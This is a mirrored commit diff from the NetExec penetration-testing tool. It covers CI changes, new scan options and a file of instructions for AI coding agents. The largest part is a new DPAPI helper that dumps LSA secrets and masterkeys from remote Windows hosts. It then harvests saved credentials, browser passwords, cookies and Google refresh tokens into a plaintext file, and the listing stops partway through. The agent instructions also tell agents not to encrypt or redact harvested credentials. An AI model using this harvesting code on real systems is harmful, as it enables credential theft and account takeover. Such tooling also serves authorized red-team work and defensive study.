mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-07 09:26:01 -10:00
Merge branch 'main' into main
This commit is contained in:
124 files changed
+8666
-3705
No files matched your search
@@ -9,8 +9,8 @@ jobs:
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.13"]
|
||||
os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest]
|
||||
python-version: ["3.14"]
|
||||
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
@@ -10,7 +10,7 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
|
||||
+10
-14
@@ -14,20 +14,16 @@ jobs:
|
||||
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v5
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
|
||||
- name: Install uv
|
||||
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
|
||||
with:
|
||||
python-version: 3.13
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install dependencies with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
enable-cache: true
|
||||
- name: Set up Python
|
||||
run: uv python install 3.14
|
||||
- name: Install project with dev group
|
||||
run: uv sync --dev
|
||||
- name: Run ruff
|
||||
run: |
|
||||
poetry run ruff --version
|
||||
poetry run ruff check . --preview
|
||||
uv run ruff --version
|
||||
uv run ruff check . --preview
|
||||
@@ -1,7 +1,7 @@
|
||||
name: PR Template Check
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
pull_request_target:
|
||||
types: [opened, edited]
|
||||
|
||||
permissions:
|
||||
|
||||
+19
-28
@@ -14,35 +14,26 @@ jobs:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v5
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
|
||||
- name: Install uv
|
||||
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install with pipx
|
||||
run: |
|
||||
pipx install . --python python${{ matrix.python-version }}
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
enable-cache: true
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
run: uv python install ${{ matrix.python-version }}
|
||||
- name: Install project
|
||||
run: uv sync --python ${{ matrix.python-version }}
|
||||
- name: Load every protocol and module
|
||||
run: |
|
||||
poetry run netexec winrm 127.0.0.1
|
||||
poetry run netexec vnc 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1
|
||||
poetry run netexec ldap 127.0.0.1
|
||||
poetry run netexec wmi 127.0.0.1
|
||||
poetry run netexec rdp 127.0.0.1
|
||||
poetry run netexec mssql 127.0.0.1
|
||||
poetry run netexec ssh 127.0.0.1
|
||||
poetry run netexec ftp 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1 -L
|
||||
uv run netexec winrm 127.0.0.1
|
||||
uv run netexec vnc 127.0.0.1
|
||||
uv run netexec smb 127.0.0.1
|
||||
uv run netexec ldap 127.0.0.1
|
||||
uv run netexec wmi 127.0.0.1
|
||||
uv run netexec rdp 127.0.0.1
|
||||
uv run netexec mssql 127.0.0.1
|
||||
uv run netexec ssh 127.0.0.1
|
||||
uv run netexec ftp 127.0.0.1
|
||||
uv run netexec smb 127.0.0.1 -L
|
||||
@@ -0,0 +1,41 @@
|
||||
# Authorized testing scope
|
||||
|
||||
- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
|
||||
- Treat the exact targets or ranges provided by the user as the complete authorized scope.
|
||||
- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
|
||||
- Repository instructions do not grant authorization to test any third-party system.
|
||||
|
||||
# Coding style
|
||||
|
||||
- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
|
||||
- Always bind caught exceptions as `e`, not `error` or another name.
|
||||
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
|
||||
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
|
||||
|
||||
# NetExec module structure
|
||||
|
||||
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
|
||||
- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
|
||||
- Module scope should contain only imports and the `NXCModule` class definition.
|
||||
- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
|
||||
- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
|
||||
- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
|
||||
- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
|
||||
- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
|
||||
- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
|
||||
- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
|
||||
- Run `ruff check .` after every coding session.
|
||||
|
||||
# Development and validation
|
||||
|
||||
- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
|
||||
- Record every module-verification command in `tests/e2e_commands.txt`.
|
||||
- Do not run compilation checks.
|
||||
- Run Ruff after completing a coding session.
|
||||
|
||||
# Filesystem and source conventions
|
||||
|
||||
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
|
||||
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
|
||||
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
|
||||
- Place imports at the top of files unless explicitly instructed otherwise.
|
||||
+7
-6
@@ -21,12 +21,13 @@ The NetExec project has strict rules for AI usage:
|
||||
code for platforms or environments you don't have access to manually
|
||||
test on.
|
||||
|
||||
- **Issues and discussions can use AI assistance but must have a full
|
||||
human-in-the-loop.** This means that any content generated with AI
|
||||
must have been reviewed _and edited_ by a human before submission.
|
||||
AI is very good at being overly verbose and including noise that
|
||||
distracts from the main point. Humans must do their research and
|
||||
trim this down.
|
||||
- **Issues and pull requests should be written by humans.**
|
||||
Communication should remain human, not AI, and should be clear and concise.
|
||||
AI is very good at being overly verbose and including noise that distracts
|
||||
from the main point. While it is fine to cite AI or include AI-generated
|
||||
content, the main content of your issue or pull request should be written
|
||||
by a human. Issues or pull requests that look like they are just the
|
||||
result of an AI prompt will likely be rejected and closed.
|
||||
|
||||
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
|
||||
Text and code are the only acceptable AI-generated content, per the
|
||||
|
||||
@@ -65,3 +65,4 @@ Awesome code contributors of NetExec:
|
||||
[](https://github.com/XiaoliChan)
|
||||
[](https://github.com/termanix)
|
||||
[](https://github.com/Dfte)
|
||||
[](https://github.com/azoxlpf)
|
||||
@@ -19,6 +19,7 @@ a = Analysis(
|
||||
'aardwolf.commons.iosettings',
|
||||
'aardwolf.commons.target',
|
||||
'aardwolf.protocol.x224.constants',
|
||||
'certihound',
|
||||
'certipy.commands.find',
|
||||
'certipy.lib.formatting',
|
||||
'certipy.lib.target',
|
||||
@@ -80,6 +81,7 @@ a = Analysis(
|
||||
'dploot.triage.wam',
|
||||
'dploot.triage.wifi',
|
||||
'dploot.triage.sccm',
|
||||
'dploot.triage.cng',
|
||||
'dploot.lib.target',
|
||||
'dploot.lib.smb',
|
||||
'pyasn1_modules.rfc5652',
|
||||
|
||||
+3
-1
@@ -30,8 +30,10 @@ def gen_cli_args():
|
||||
generic_group = generic_parser.add_argument_group("Generic Options")
|
||||
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
|
||||
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
|
||||
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
|
||||
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
|
||||
|
||||
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
output_group = output_parser.add_argument_group("Output Options")
|
||||
|
||||
@@ -38,6 +38,13 @@ reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=
|
||||
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
|
||||
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
|
||||
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
|
||||
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
|
||||
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
|
||||
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
|
||||
if not isinstance(exclude_hosts, list):
|
||||
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
|
||||
exit(1)
|
||||
|
||||
|
||||
if len(host_info_colors) != 4:
|
||||
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
|
||||
|
||||
+14
-7
@@ -14,7 +14,7 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
|
||||
|
||||
from nxc.config import pwned_label
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.loaders.moduleloader import ModuleLoader
|
||||
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.paths import NXC_PATH
|
||||
@@ -148,6 +148,7 @@ class connection:
|
||||
self.args.use_kcache or
|
||||
self.args.aesKey or
|
||||
(hasattr(self.args, "delegate") and self.args.delegate) or
|
||||
(hasattr(self.args, "generate_st") and self.args.generate_st) or
|
||||
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
|
||||
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
@@ -174,12 +175,14 @@ class connection:
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
|
||||
try:
|
||||
self.proto_flow()
|
||||
except FileNotFoundError as e:
|
||||
self.logger.error(f"File not found error on target {target}: {e}")
|
||||
except ConnectionRefusedError as e:
|
||||
self.logger.error(f"Target {target} refused the connection: {e}")
|
||||
except Exception as e:
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
@@ -241,9 +244,9 @@ class connection:
|
||||
self.logger.debug("Kicking off proto_flow")
|
||||
self.proto_logger()
|
||||
if not self.create_conn_obj():
|
||||
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
else:
|
||||
self.logger.debug("Created connection object")
|
||||
self.logger.info(f"Successfully created connection object for target '{self.host}'")
|
||||
self.enum_host_info()
|
||||
|
||||
# Construct the output file template using os.path.join for OS compatibility
|
||||
@@ -254,7 +257,7 @@ class connection:
|
||||
self.output_filename = os.path.join(base_log_dir, filename_pattern)
|
||||
|
||||
self.print_host_info()
|
||||
if self.login() or (self.username == "" and self.password == ""):
|
||||
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
if self.args.module:
|
||||
@@ -334,7 +337,7 @@ class connection:
|
||||
if self.failed_logins == self.args.fail_limit:
|
||||
return True
|
||||
|
||||
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
|
||||
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # ruff: ignore[needless-bool]
|
||||
return True
|
||||
|
||||
return False
|
||||
@@ -603,5 +606,9 @@ class connection:
|
||||
self.modules = []
|
||||
|
||||
for module_path in self.module_paths:
|
||||
module = loader.init_module(module_path)
|
||||
try:
|
||||
module = loader.init_module(module_path)
|
||||
except ModuleOptionsError as e:
|
||||
self.logger.debug(f"Skipping module: {e}")
|
||||
continue
|
||||
self.modules.append(module)
|
||||
@@ -7,6 +7,9 @@ reveal_chars_of_pwd = 0
|
||||
log_mode = False
|
||||
host_info_colors = ["green", "red", "yellow", "cyan"]
|
||||
check_guest_account = False
|
||||
display_dc = True
|
||||
skip_self = False
|
||||
exclude_hosts = []
|
||||
|
||||
[BloodHound]
|
||||
bh_enabled = False
|
||||
|
||||
+7
-4
@@ -204,7 +204,10 @@ class BaseDB:
|
||||
self.db_execute(table.delete())
|
||||
|
||||
def db_execute(self, *args):
|
||||
self.lock.acquire()
|
||||
res = self.sess.execute(*args)
|
||||
self.lock.release()
|
||||
return res
|
||||
with self.lock:
|
||||
res = self.sess.execute(*args)
|
||||
return res.freeze()() if res.returns_rows else res
|
||||
|
||||
def get_keys(self, key_id=None, cred_id=None):
|
||||
"""Return an empty list by default. Protocols that support keys (e.g. SSH) override this."""
|
||||
return []
|
||||
@@ -0,0 +1,461 @@
|
||||
|
||||
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
|
||||
from dploot.triage.cng import CngTriage
|
||||
from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
|
||||
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
|
||||
from dploot.triage.vaults import VaultsTriage
|
||||
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.helpers.logger import highlight
|
||||
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection):
|
||||
"""
|
||||
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
|
||||
This function gets the calling NXC protocol and tries reuse the already opened connection
|
||||
on DPLoot directly. If not it opens up a new connection.
|
||||
"""
|
||||
conn = None
|
||||
protocol = target.protocol
|
||||
try:
|
||||
match protocol:
|
||||
case "smb":
|
||||
from dploot.lib.network.smb import DPLootSMBConnection
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "wmi":
|
||||
from dploot.lib.network.wmi import DPLootWMIConnection
|
||||
conn = DPLootWMIConnection(target)
|
||||
if connection is not None:
|
||||
conn.dcom = connection.dcom_conn
|
||||
conn.iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
else:
|
||||
conn.connect()
|
||||
case "winrm":
|
||||
from dploot.lib.network.winrm import DPLootWINRMConnection
|
||||
conn = DPLootWINRMConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "mssql":
|
||||
from dploot.lib.network.mssql import DPLootMSSQLConnection
|
||||
conn = DPLootMSSQLConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
except Exception as e:
|
||||
connection.logger.debug(e)
|
||||
return None
|
||||
|
||||
return conn
|
||||
|
||||
|
||||
class DPAPITriage:
|
||||
"""
|
||||
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
|
||||
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
|
||||
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
|
||||
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
|
||||
|
||||
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
|
||||
|
||||
```
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = <dploot target creation>
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
```
|
||||
|
||||
This way, every DPAPI related module will automaticaly work with the protocol
|
||||
|
||||
"""
|
||||
def __init__(self, connection, target: Target):
|
||||
self.connection = connection
|
||||
self.target = target
|
||||
|
||||
self.conn = None
|
||||
self.dump_cookies = False
|
||||
self.masterkeys = []
|
||||
self._pvkbytes = None
|
||||
|
||||
# Keep track of writing secrets in file
|
||||
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
|
||||
self.secrets_counter = 0
|
||||
|
||||
if connection.args.dpapi is not None:
|
||||
self.dump_cookies = "cookies" in connection.args.dpapi
|
||||
|
||||
# Variables to know what materkey types have already been dumped
|
||||
self.system_masterkeys_already_dumped = False
|
||||
self.users_masterkeys_already_dumped = False
|
||||
|
||||
# Initialize the connection here, if you need this class then you will need the connection
|
||||
self.init_connection()
|
||||
|
||||
def __del__(self):
|
||||
# When everything is finished, then we give the feedback to the user
|
||||
if self.output_file is not None and self.secrets_counter > 0:
|
||||
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
|
||||
|
||||
def log_secret(self, line, logger=None):
|
||||
# Handle the secret counter here, avoid to handle it in multiple places
|
||||
if logger is None:
|
||||
logger = self.connection.logger
|
||||
logger.highlight(line)
|
||||
with open(self.output_file, "a", encoding="utf-8") as fd:
|
||||
self.secrets_counter += 1
|
||||
fd.write(line + "\n")
|
||||
|
||||
def init_connection(self):
|
||||
"""Tries to initiate a DPLootConnection object from a NXC connection"""
|
||||
if self.conn is not None:
|
||||
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
|
||||
return
|
||||
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
|
||||
if self.conn is None:
|
||||
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
|
||||
return
|
||||
|
||||
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
|
||||
"""
|
||||
Get and decrypt masterkeys from the target.
|
||||
dump_users: If True, then user masterkeys will be collected if they have not already been
|
||||
dump_system: If True, then system masterkeys will be collected if they have not already been
|
||||
"""
|
||||
# If we have already dumped everything, then we won't find new stuff
|
||||
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
|
||||
return self.masterkeys
|
||||
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
|
||||
# First, check and handle the mkfile arg
|
||||
if self.connection.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
|
||||
if dump_users:
|
||||
users = self.conn.list_users()
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
|
||||
# dploot matches user.lower()
|
||||
if self.connection.password != "":
|
||||
plaintexts[self.connection.username.lower()] = self.connection.password
|
||||
if self.connection.nthash != "":
|
||||
nthashes[self.connection.username.lower()] = self.connection.nthash
|
||||
|
||||
# Now prepare the SYSTEM part
|
||||
if (dump_system
|
||||
and self.connection.dpapi_system_key is None
|
||||
and hasattr(self.connection, "lsa")
|
||||
and callable(self.connection.lsa)):
|
||||
# We can use the protocol specific LSA dump if not already dumped.
|
||||
# But first, just making sure the protocol supports LSA dump :)
|
||||
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
|
||||
self.connection.lsa(quiet=True)
|
||||
if self.connection.dpapi_system_key is not None:
|
||||
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
|
||||
else:
|
||||
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
|
||||
|
||||
# Invoke MasterkeyTriage class
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem=self.connection.dpapi_system_key,
|
||||
)
|
||||
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
|
||||
# Collect User Masterkeys if this has not already been done
|
||||
if dump_users and not self.users_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI Users masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.users_masterkeys_already_dumped = True
|
||||
|
||||
# Collect SYSTEM Masterkeys if this has not already been done
|
||||
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.system_masterkeys_already_dumped = True
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Could not get masterkeys: {e}")
|
||||
self.masterkeys += masterkeys
|
||||
# If we decrypted new masterkeys, print the message
|
||||
if len(masterkeys) > 0:
|
||||
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
|
||||
return self.masterkeys
|
||||
|
||||
def triage_credentials(self, masterkeys: list[Masterkey]):
|
||||
# Collect User and Machine Credentials Manager secrets
|
||||
|
||||
def credential_callback(credential):
|
||||
tag = "CREDENTIAL"
|
||||
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.target,
|
||||
)
|
||||
|
||||
try:
|
||||
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
|
||||
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
|
||||
credentials_triage.triage_credentials()
|
||||
credentials_triage.triage_system_credentials()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting credentials: {e}")
|
||||
|
||||
def triage_chromium(self, masterkeys: list[Masterkey]):
|
||||
cng_chromekey = None
|
||||
# We need the CNG triage to recover Chrome passwords since Chrome v137
|
||||
try:
|
||||
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
|
||||
for cng_file in cng_triage.triage_system_cng():
|
||||
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
||||
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
|
||||
cng_chromekey = cng_file.decrypted_private_key
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
|
||||
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
def browser_callback(secret):
|
||||
if isinstance(secret, LoginData):
|
||||
secret_url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, GoogleRefreshToken):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.service,
|
||||
secret.token,
|
||||
"Google Refresh Token",
|
||||
)
|
||||
elif isinstance(secret, Cookie):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
|
||||
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting browsers: {e}")
|
||||
|
||||
def triage_vaults(self, masterkeys: list[Masterkey]):
|
||||
def vault_callback(secret):
|
||||
tag = "IEX"
|
||||
if secret.type == "Internet Explorer":
|
||||
resource = secret.resource + " -" if secret.resource != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.resource,
|
||||
)
|
||||
|
||||
try:
|
||||
# Collect User Internet Explorer stored secrets
|
||||
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
|
||||
vaults_triage.triage_vaults()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting vaults: {e}")
|
||||
|
||||
def triage_firefox(self):
|
||||
def firefox_callback(secret):
|
||||
tag = "FIREFOX"
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
|
||||
firefox_triage.run(gather_cookies=self.dump_cookies)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting firefox: {e}")
|
||||
|
||||
# The dpapi function for every protocol
|
||||
def triage_dpapi(self):
|
||||
# Load masterkeys
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
|
||||
if len(masterkeys) == 0:
|
||||
# Nothing will be recovered if no masterkeys, so we can stop there
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting secrets...")
|
||||
|
||||
# Calling all the triage functions. We can add other triage functions here
|
||||
self.triage_credentials(masterkeys)
|
||||
self.triage_chromium(masterkeys)
|
||||
self.triage_vaults(masterkeys)
|
||||
self.triage_firefox()
|
||||
|
||||
def triage_sccm(self):
|
||||
